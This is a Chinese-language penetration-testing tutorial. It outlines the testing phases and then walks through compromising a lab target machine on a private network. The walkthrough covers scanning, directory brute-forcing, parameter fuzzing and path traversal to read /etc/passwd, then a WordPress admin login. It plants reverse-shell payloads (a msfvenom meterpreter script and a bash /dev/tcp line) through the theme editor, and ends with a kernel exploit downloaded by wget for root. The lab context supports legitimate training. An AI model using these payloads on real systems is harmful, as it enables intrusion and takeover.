🌎一、渗透总流程
渗透测试是通过模拟恶意攻击者的技术和方法,对目标系统(如网络、应用程序、服务器等)的安全性进行评估的过程。
🌞1.前期交互阶段
- 确定目标范围:与客户进行充分沟通,明确渗透测试的具体目标,包括目标网络的边界、特定的应用系统、服务器等。例如,是对整个企业网络进行测试,还是只针对某个关键业务系统。
- 收集背景信息:了解目标系统的业务类型、使用的技术架构(如操作系统、数据库、中间件等)、网络拓扑结构等信息。这有助于制定更有针对性的测试方案。
- 确定测试规则:商定测试的时间窗口、允许的测试方法和技术范围、数据保护和隐私政策等。例如,明确不允许对生产环境造成任何中断或数据丢失,禁止使用某些可能影响业务连续性的攻击手段。
🌞2.情报收集阶段
- 主动信息收集:通过直接与目标系统交互来获取信息,如使用 ping 命令探测目标主机是否存活,使用 nmap 工具扫描目标网络的开放端口和运行的服务等。
- 被动信息收集:利用公开的信息源(如搜索引擎、社交媒体、行业报告、企业官网等)收集目标系统的相关信息,包括域名信息、IP 地址范围、员工信息、技术栈等。例如,通过 whois 查询获取域名注册信息,了解网站的托管服务商等。
🌞3.漏洞扫描阶段
- 网络扫描:使用专门的漏洞扫描工具(如 Nessus、OpenVAS 等)对目标网络进行全面扫描,检测网络设备(如路由器、交换机)、服务器等存在的已知漏洞,如操作系统漏洞、服务漏洞等。
- 应用扫描:针对目标应用系统,使用 Web 应用扫描工具(如 OWASP ZAP、AppScan 等)检测应用层的漏洞,如 SQL 注入、跨站脚本攻击(XSS)、文件包含漏洞等。
🌞4.漏洞利用阶段
- 验证漏洞:对扫描发现的漏洞进行人工验证,确保漏洞的真实性和可利用性。有些漏洞可能是误报,或者由于系统配置等原因无法实际利用。
- 尝试攻击:使用合适的攻击工具和技术对已验证的漏洞进行利用,尝试获取系统权限、敏感数据或控制目标系统。例如,对于 SQL 注入漏洞,使用 SQL 注入工具获取数据库中的数据;对于远程代码执行漏洞,尝试上传恶意代码并执行。
🌞5.权限提升阶段
- 提权分析:当成功获取到目标系统的低权限用户账户后,分析系统的配置、漏洞和弱点,寻找提升权限的方法。例如,检查系统中是否存在可利用的内核漏洞、错误配置的服务权限等。
- 实施提权:利用发现的提权途径,尝试将低权限提升为管理员权限或更高权限,以便进一步深入系统内部进行测试。
🌞6.内网渗透阶段
- 内网信息收集:在获得目标系统的权限后,对内部网络进行信息收集,包括发现内部其他存活主机、网络拓扑结构、共享资源、用户账户信息等。
- 横向移动:利用已获取的权限和收集到的信息,尝试在内网中进行横向移动,从一台主机渗透到其他主机,扩大攻击范围。例如,通过利用弱密码、漏洞或信任关系等方式,获取其他主机的控制权。
🌞7.报告编写阶段
- 整理测试结果:对整个渗透测试过程中发现的漏洞、攻击路径、利用方法等进行详细整理和记录。
- 评估风险等级:根据漏洞的严重程度和潜在影响,对每个漏洞进行风险等级评估,如高、中、低风险。
- 提出修复建议:针对发现的漏洞,提供具体的修复建议和解决方案,帮助客户及时修复漏洞,提高系统的安全性。
- 撰写报告文档:将上述内容整理成一份完整的渗透测试报告,向客户进行汇报和交付。
🌎二、打靶实例详解
文章内的靶机及脚本关注后私信获取
🌞1.准备阶段
首先将靶机以及kali启动。
注意将两者的网络适配器均调整为NAT模式(确保二者是在同一个网段下)。
🌞2.信息收集——确认靶机ip
首先确定攻击机kali的ip来确定接下来扫描的网段。
ip a
🌕方法一——Netdiscover
netdiscover -i eth0 -r 192.168.10.0/24
-i eth0: 指定网络接口,eth0 是你要使用的网络接口(通常是第一个以太网接口)。
-r 192.168.10.0/24: 指定要扫描的网络范围,在此例中是使用 CIDR 表示法的 192.168.10.0/24,这表示从 192.168.10.1 到 192.168.10.254 的所有地址。
🌕方法二——arp-scan
arp-scan -l
arp-scan: 这是一个命令行工具,用于发送 ARP (Address Resolution Protocol) 请求,以便识别网络上的设备。ARP 是一个网络协议,用于将网络地址(如 IP 地址)转变为物理地址(如 MAC 地址)。
-l: 此选项指定arp-scan探测本地网络。它会自动确定本地网络的地址范围,并扫描所有活跃的设备。
🌕方法三——nmap
nmap -sn 192.168.10.0/24
-sn:在以前的nmap版本中是-sP,现在被-sn取代了,其作用是告诉nmap在主机发现后,不进行端口扫描,只打印进行主机嗅探发现的可用主机,其扫描方式类似于ping扫描。
在上面扫描出的ip地址中,.1、.2、.254、.132都是kali自身的一些ip地址。
所以通过上面的三种方法均可以确定靶机的ip地址为:192.168.10.147。
🌞3.信息收集——端口扫描
首先进行端口扫描,确认哪些端口是开放的,缩小后续扫描范围。
建立一个文件夹,用于存储扫描后得到的文件。
mkdir nmapscan
nmap -sT --min-rate 10000 -p- 192.168.10.147 -oA nmapscan/ports
参数说明:
- -sT:使用TCP方式扫描,即对主机的开放端口进行连接尝试。
- --min-rate 10000:设置最小速率为10000个尝试/秒,这个参数控制了扫描的速度。
- -p-:扫描主机的所有端口,起始端口是1,结束端口是65535。
- -oA nmapscan/ports:将扫描结果以三种格式保存在 nmapscan 目录下,分别是Nmap格式、正常格式和脚本格式。
可以看到存在22、80这两个开放端口。
🌞4.信息收集——详细信息扫描
这个扫描是最重的也是最重要的扫描,根据扫描的详细信息确定攻击面以及渗透的优先级。
nmap -sT -sV -sC -O -p22,80 192.168.10.147 -oA nmapscan/detail
参数说明:
- -sT: 使用TCP连接扫描。这个参数告诉Nmap使用TCP连接来扫描指定的端口,它是一种全连接扫描。
- -sV: 执行版本探测。这个参数告诉Nmap探测已开放端口上的服务和应用程序版本。
- -sC: 执行默认脚本扫描。这个参数告诉Nmap执行一系列预定义的脚本,以便对已开放端口上的服务进行更深入的探测和信息收集。
- -O: 执行操作系统探测。这个参数告诉Nmap尝试探测目标主机的操作系统类型。
- -p22,80: 指定要扫描的端口列表。这个参数告诉Nmap扫描目标主机上的22、80和3306端口。
- 192.168.10.147: 指定要扫描的目标主机的IP地址。
- -oA nmapscan/detail: 将扫描结果保存为三种不同格式的文件(正常输出、脚本输出和XML输出)。这个参数告诉Nmap将扫描结果保存到名为nmapscan的目录中,并使用detail作为文件名的前缀。
🌞5.信息收集——UDP扫描
使用UDP扫描模式扫描给定的端口,并将扫描结果保存到三个不同的文件中。
nmap -sU -p22,80 192.168.10.147 -oA nmapscan/udp
参数说明:
- -sU:指定扫描类型为UDP。通常nmap默认使用TCP进行扫描,但此处使用UDP进行扫描。
- -p22,80:指定要扫描的端口号。该命令将扫描目标主机上的22和80端口。
- 192.168.10.147:指定要扫描的目标主机的IP地址。
- -oA nmapscan/udp:指定输出文件的名称和目录。该命令将生成三个输出文件,命名为nmapscan-udp.xml、nmapscan-udp.nmap和nmapscan-udp.gnmap,保存在nmapscan目录下。
可以看到对应的udp端口都是关闭的,因此可忽略。
🌞6.信息收集——漏洞扫描
运行nmap的漏洞扫描脚本进行漏洞扫描。
nmap --script=vuln -p22,80 192.168.10.147 -oA nmapscan/vuln
参数说明:
- nmap:是一个网络扫描和安全审核工具。
- --script=vuln:指定要执行的脚本为"vuln",它会探测目标上的一些已知漏洞。
- -p22,80:指定要扫描的端口号,包括22(SSH服务)、80(HTTP服务)。
- 192.168.10.147:指定要扫描的目标主机的IP地址。
- -oA nmapscan/vuln:指定将扫描结果保存到文件中,nmapscan为文件夹名,vuln为文件名前缀。
根据上述扫描结果得出如下结论(针对 80 端口):
- 未发现任XSS漏洞。
- CVE-2017-1001000漏洞脚本执行失败了,提示可以使用 “-d” 参数来进行调试以进一步确定此漏洞情况。
- 未发现跨站请求伪造(CSRF)漏洞。
- 发现了两个值得关注的目录,分别是 /wordpress/,识别为博客页面;/wordpress/wp-login.php,识别为 WordPress 的登录页面,这表明目标主机上可能运行着 WordPress 系统。
- 判断目标很可能(LIKELY VULNERABLE)存在 Slowloris 拒绝服务(DOS)攻击漏洞。
注:当寻找不到攻击面的时候,不要忘记考虑ipv6的地址。
🌞7.漏洞探测
前面扫描到的22和80端口开放,在渗透测试过程中,很少直接针对22端口进行测试,所以其优先级靠后,首先测试80端口。
尝试访问80端口,可以看到只有一张图片。
192.168.10.147
此时要想到观察标题以及图片内包含的信息,然后查看源码看有无有用的信息。
根据上面的观察,均未得到有效信息。
既然如此,接下来就要想到进行目录爆破。
目录爆破的工具有很多,比如gobuster、feroxbuster以及dirb等,这几款工具的算法稍有差别,但是差别不大,除非用一个扫的时候感觉明细漏掉了某些信息,或者无论如何找不到突破点,此时可以考虑换一款工具,否则更应该关注当前使用的目录爆破工具的参数及字典设置。
这里使用dirb进行爆破,并将结果存储在dirb.txt内。
dirb http://192.168.10.147 -o dirb.txt
dirb也对二级和三级目录进行了扫描,根据扫描结果,可以明显的看到其装了一个wordpress的内容管理系统。
首先查看dev目录,可以看到其是一个文本内容。
curl http://192.168.10.147/dev
翻译后内容如下,可以理解为其提示要进行更深入的挖掘。
你好,
现在你处于0级阶段。
在实际的渗透测试中,我们应该使用我们的工具在web上进行深入挖掘。
dirb默认只扫描目录,不会扫描文件,因为提示要进行更深入的挖掘,因此想到对指定后缀名的文件进行挖掘。
dirb http://192.168.10.147 -X .zip,.txt -o dirbpro.txt
参数说明:
dirb:
是一个常用于目录爆破的工具,用于在Web服务器上查找隐藏文件和文件夹。http://192.168.10.147:
是要进行目录爆破的目标URL。-X .zip,.txt:
指定了要在目录爆破中搜索的文件扩展名。-o dirbpro.txt:
表示将输出结果保存到dirbpro.txt文件中。
可以看到成功扫描到了一个文件,查看此文件。
curl http://192.168.10.147/secret.txt
翻译后内容如下,可以理解为要在找到的php内做模糊测试,然后根据找到的参数再继续进行渗透。
看来你好像得到了一些秘密。
好吧,我只是想帮你。
对你找到的php的每一页做更多的模糊处理。如果
你得到任何正确的参数,然后按照下面的步骤。如果你还在纠结
从这里学习一个用于OSCP的基本工具。
https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
//查看location.txt,你将得到你的下一步动作
访问上面给出的地址,可以看到wfuzz工具命令的提示。
https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://website.com/secret.php?FUZZ=something
补充知识点——模糊测试(FUZZ)
模糊测试(FUZZ)是一种软件测试方法,旨在发现应用程序的漏洞和异常行为。它通过将大量随机、无效或异常的输入送入被测试程序来进行测试。模糊测试的目标是触发应用程序的潜在漏洞,例如缓冲区溢出、格式化字符串漏洞等。
模糊测试基于以下假设:在应用程序中存在许多输入边界,攻击者可以利用这些边界条件来执行恶意行为。模糊测试使用随机生成的输入,通过向程序发送各种异常输入,以期望导致程序出现未预期的行为。这些异常输入可能包括无效的数据、非预期的数据类型、大型数据、特殊字符等。
模糊测试的优点是可以自动化执行,不需要人工干预。它可以快速发现程序中的漏洞,并帮助开发人员修复这些问题。然而,模糊测试也有一些缺点,例如可能产生大量的无效测试用例,测试覆盖率可能不够全面,难以发现特定类型的漏洞。
因为上面提示要对php页面进行模糊测试,所以首先扫描php后缀页面。
可以看到在根目录下成功扫描到了两个php页面。
dirb http://192.168.10.147 -X .php -o dirbphp.txt
第一个页面模糊测试:
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.10.147/image.php?FUZZ=CSDNranzi
参数说明:
wfuzz
: 这是wfuzz运行工具的命令。-c
: 启用彩色输出,使结果更易于阅读。-w /usr/share/wfuzz/wordlist/general/common.txt
: 使用指定的字典文件进行模糊测试。在这里,/usr/share/wfuzz/wordlist/general/common.txt是字典文件的路径。http://192.168.10.147/image.php?FUZZ=CSDNranzi
: 这是要进行模糊测试的目标 URL。FUZZ是一个占位符,wfuzz会用字典中的每个词替换它,即CSDNranzi(可能是参数的一部分),以尝试不同的输入来探测响应的变化。
根据模糊测试的结果,将重复多次出现的给隐藏掉。过滤后发现什么也没得到。
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 147 http://192.168.10.147/image.php?FUZZ=CSDNranzi
第二个页面模糊测试:
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.10.147/index.php?FUZZ=CSDNranzi
根据模糊测试的结果,将重复多次出现的给隐藏掉。过滤后可以看到本次成功得到了一个参数。
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.10.147/index.php?FUZZ=CSDNranzi
对得到的参数进行访问,可以看到成功得到了一些信息。
对得到的信息进行翻译,可以理解为挖错文件了。
做得更好
你挖错文件了
联想前面的提示信息。
根据提示信息访问“location.txt”文件。可以看到成功再次得到了一些信息。
curl http://192.168.10.147/index.php?file=location.txt
对得到的信息进行翻译,可以理解为在另一个php页面内使用“secrettier360”参数进行访问即可得到新的信息。
做得更好
现在你得到了确切的参数
现在继续挖掘下一个
在其他PHP页面上使用` secrettier360 `参数可以获得更多乐趣。
根据提示内容访问下面url。
curl http://192.168.10.147/image.php?secrettier360
对得到的信息进行翻译,可以理解为找到了正确的参数。
最后你得到了正确的参数
得到了正确的参数,但是没有告知下一步要查看哪个文件,再加上前面给了file参数用来读取文件,所以此时就要想到尝试利用文件包含漏洞获取其它敏感信息。
根据前面的信息收集得知,本台靶机是Linux系统,所以尝试访问下面内容(因为不清楚当前位置,所以输入多个../回退到上级目录,../输多了也没事,因为到了根目录/就不会再回退了)。可以看到成功获取到了passwd文件。
http://192.168.10.147/image.php?secrettier360=../../../../../etc/passwd
观察获取到的passwd文件,发现下面有一个提示信息。
翻译如下,理解为在/home/saket路径下查看password.txt文件。
在我的目录/home/saket下查找文件password.txt
利用文件包含查看提示信息内的文件。
curl http://192.168.10.147/image.php?secrettier360=../../../../../home/saket/password.txt
翻译如下,因为是password.txt文件,所以理解为获取到了一个密码:follow_the_ippsec,但是目前不知道这个密码在哪儿用到。
最后你得到了正确的参数
follow_the_ippsec
联想到前面目录扫描过程中,发现了其装了一个wordpress的内容管理系统,这里尝试访问,发现可以成功访问。
http://192.168.10.147/wordpress/
补充知识点——wordpress
WordPress 是目前全球最流行的内容管理系统,其使用量遥遥领先,主要用于构建各种类型的网站,包括博客、企业网站、电子商务平台、投资组合网站等。它支持从简单的个人博客到复杂的在线商店,用户可以轻松发布内容、管理媒体文件以及进行SEO优化。
使用 WordPress 的人群非常广泛,涵盖了个人博主、自由职业者、中小企业、大型企业甚至是政府机构。由于其易用性和灵活性,WordPress 也吸引了大量开发者和设计师,他们为平台开发主题和插件,进一步拓展其功能。
成功访问一个内容管理系统后,首先要想到如何登录其后台以及如何利用其漏洞。
下面使用wpscan工具对wordpress内容管理系统进行扫描。
因为前面获取到了一个密码,所以这里要想到哪一个用户可以使用到这个密码,所以这里执行下面的命令。
wpscan --url http://192.168.10.147/wordpress -e u
可以看到成功获取到了一个名为victor的用户。
知识点补充——Wpscan工具
Wpscan是一款开源的网络安全扫描工具,主要用于对WordPress网站进行漏洞扫描和安全性评估。它可以帮助网站管理员发现潜在的安全风险和漏洞,并提供建议和解决方案。
Wpscan具有以下主要功能:
- 扫描WordPress网站:Wpscan可以对WordPress网站进行全面的扫描,包括主题、插件和配置文件等。
- 发现漏洞和安全风险:Wpscan可以检查WordPress网站是否存在已知的漏洞,并列出可能存在的安全风险。
- 弱密码破解:Wpscan可以使用常见的用户名和密码组合来破解WordPress登录信息,以测试弱密码的风险。
- 获取敏感信息:Wpscan可以识别敏感信息,如数据库名、用户信息等,从而帮助攻击者更容易进行进一步的攻击。
- 漏洞利用:Wpscan可以自动利用已知的漏洞进行攻击,并获取目标网站的控制权。
获取到了一个用户名,再结合前面获取到的密码,想到进入到wordpress的管理端登录界面内进行尝试,访问下面地址(这个地址在前面目录扫描过程中已经发现)。
http://192.168.10.147/wordpress/wp-admin
访问成功后,输入用户名和密码尝试进行登录。
用户名:victor
密码:follow_the_ippsec
发现成功登录到了后台内。
🌞8.漏洞利用
进入到wordpress的后台内之后,接下来的渗透思路十分套路化。
首先验证插件功能点能否上传payload。
插件位置要想成功上传payload,就要能够成功上传zip文件。
因为此时还不确定能否成功上传文件,所以先不进行payload的构造,先验证能否上传zip文件。
在kali内随便压缩一个文件移动到桌面尝试上传。
提交zip文件后发现其没有写权限,也就是无法通过插件功能点上传文件,因此插件功能点上传payload的方法被排除。
然后验证主题编辑器功能点能否上传payload。
在主题编辑器内寻找存在写权限的php目录,因为如果不是php文件就算上传上去也不具有执行性(存在写权限的目录的下面会存在提交的按钮)。
这里找到secret.php满足条件。
🌕第一种反弹shell方式
利用msfvenom工具生成一个带有meterpreter后门的PHP脚本。
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.10.132 lport=1234 -o shell.php
命令解释:
- -p: 指定生成的payload类型为php/meterpreter/reverse_tcp,即生成一个反向TCP连接的meterpreter后门。
- lhost: 指定反向连接的目标主机的IP地址为192.168.10.132。
- lport: 指定反向连接使用的目标主机的端口号为7777。
- -o: 指定生成的脚本文件名为shell.php。
查看生成的payload。
cat shell.php
将生成的payload复制后粘贴到secret.php内并提交(注意删掉开头的“/*”)。
提交成功后利用msf在kali内进行监听。
首先启动msfconsole。
msfconsole
使用exploit的监听模块。
use exploit/multi/handler
配置监听模块:设置payload、设置本地ip、设置监听端口,均配置完成后查看配置。
set payload php/meterpreter/reverse_tcp
set lhost 192.168.10.132
set lport 1234
show options
执行exploit命令开始监听。
exploit
开始监听后,使用浏览器访问下面的url。可以看到成功访问,网页内显示了提示信息。
192.168.10.147/wordpress/wp-content/themes/twentynineteen/secret.php
访问后查看监听端成功连接上了shell。
尝试执行命令发现可以执行。
getuid
sysinfo
ls
Meterpreter是一个连接攻击机和靶机的工具,它不能直接执行可执行程序,而需要通过重新打开一个Shell会话来与靶机进行交互。
执行shell命令后再次验证能否执行。尝试执行命令发现可以执行。
shell
id
whoami
ip a
ls
🌕第二种反弹shell方式
在当前页面内的secret.php内写入反弹shell的payload并提交。
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.132/443 0>&1'");?>
命令解释:
- exec:这是一个PHP函数,用于执行外部程序或命令。在这里它被用来运行 bash 命令。
- /bin/bash -c:这一部分表示使用/bin/bash作为执行的shell并通过-c参数来指定接下来的命令。
- bash -i:启动一个交互式的Bash shell。
- >&:符号用于将文件描述符重定向。在这里,>&表示将标准输出 (stdout) 和标准错误 (stderr) 都重定向到指定的位置。
- /dev/tcp/192.168.10.132/443:这是一个特殊的文件,在Linux中通过它可以建立TCP连接。这里它尝试连接到IP地址为192.168.10.132的主机的端口443。
- 0>&1:将标准输入 (stdin) 重定向到标准输出 (stdout),这样就实现了双向通信。
提交后在kali内建立监听端。
nc -lvnp 443
接下来就涉及到后面如何找到访问地址的问题,因为wordpress是一个开源的文件管理系统,所以这个路径可以通过网上或者自己将wordpress部署下来寻找。
最终得知要访问的url地址如下,对其进行访问。
192.168.10.147/wordpress/wp-content/themes/twentynineteen/secret.php
访问后监听端成功连接上了shell。
尝试执行命令发现可以执行。
whoami
ip a
ls
🌞9.权限提升
查看当前权限。
得知当前的www-data用户在 sudo 使用权限上受到了限制,特别允许它无密码地执行 /home/saket/enc 命令,以 root 身份运行。
sudo -l
查看当前操作系统的版本。可以看到其版本较低,因此尝试内核提权。
uname -a
利用kali内的searchsploit数据库搜索工具来查找漏洞。
知识点补充——searchsploit
searchsploit是kali家的另一款产品,kali内的searchsploit就是下图所示的存储库的本地版本。
其用于快速查找已知漏洞和攻击载荷。它能通过关键字搜索本地的 Exploit 数据库,帮助渗透测试人员和安全研究人员迅速定位与特定软件或漏洞相关的利用代码。使用时,只需在终端中输入 searchsploit 后跟关键字,便可以获得相关的 Exploit 列表。该工具支持多种搜索参数,允许用户进行更精确的查找,也可以将结果导出为文本文件,便于进一步分析和使用。
https://www.exploit-db.com/searchsploit
执行如下搜索命令,可以看到成功搜索到了三个可能存在的漏洞。
searchsploit Linux ubuntu 4.10.0-28
将其45010.c下载到本地。
searchsploit Linux ubuntu 4.10.0-28 -m 45010
对其进行查看。
cat 45010.c
在kali内进行编译(正常最好是上传到靶机内进行编译,如果靶机内无法编译,则在本地进行编译,因为这里kali和靶机均为linux系统,所以大概率本地编译也是可行的)。
gcc 45010.c -o 45010
编译完成后在本地建立服务器,来将上面的文件传输到靶机内。
php -S 0:80
命令说明:
php -S 0:80命令用于启动PHP内置的网络服务器。以下是对这个命令的详细解释:
php: 调用 PHP 命令行接口。
-S: 这个选项表示启动内置的服务器(内置 Web 服务器)。
0:80: 这部分指定了服务器的地址和端口。这里的 0 表示绑定到所有可用的 IP 地址,这意味着PHP内置的Web服务器将接受来自所有网络地址的请求,而不仅仅是本地地址而 80 是 HTTP 的标准端口。
当运行这个命令时,将会启动一个可以处理 HTTP 请求的 PHP 服务器,监听所有网络接口上端口 80。你可以通过访问 http://localhost
来访问这个服务器。
将其上传到靶机内的临时文件的目录内,因为其权限大概率够用。
cd /tmp
将编译前后的两个文件均上传,方便后续如果需要本地编译时进行编译。
wget http://192.168.10.132/45010
wget http://192.168.10.132/45010.c
下载完成后本地也可以看到记录。
下载完成后按ctrl+c组合键停止服务器并关闭该进程。
查看刚刚下载的文件的权限。
ls -liah
发现其没有执行权限,因此赋给其执行权限。
chmod +x 45010
再次查看权限进行验证,发现已经有了执行权限。
ls -liah
尝试对payload进行执行。发现报错,说明在kali内编译好的文件不能直接执行。
./45010
因此将前面上传的45010.c在靶机内尝试编译并查看。发现编译成功并具有执行权限。
gcc 45010.c -o 45010pro
ls -liah
对新编译的payload进行执行,然后查看其权限信息。发现成功拿到了root权限。
./45010pro
查看是否有python,如果有,则尝试生成一个交互式更好的完整的终端shell环境。
执行下面命令列出系统上安装的软件包的信息后发现存在python。【另一种验证有无python的方法是执行which python命令,当在终端执行 which python 命令时,系统会查找并显示Python解释器的路径。如果成功显示路径,则说明系统已安装Python,如果未显示任何路径或者显示 "no python in" 的错误信息,那么系统上可能没有安装 Python。】
dpkg -l
输入q退出查看后执行下面命令。执行后成功获取到了一个更完整的root权限终端环境。
python -c "import pty;pty.spawn('/bin/bash')"
命令解释:
这个命令是在Python中运行的,使用了pty模块。pty模块提供了一个伪终端的功能,可以实现交互式的终端操作。命令中的"/bin/bash"表示要执行的程序是Bash终端。
运行这个命令后,会创建一个新的伪终端,并将其连接到一个新的Bash终端进程。常用于获取一个更完整的终端环境,就像在真实的终端中一样。
🌞10.寻找flag
通过不断摸索找到了第一个flag。
继续寻找发现了第二个flag。
👌至此本次操作全部结束!👌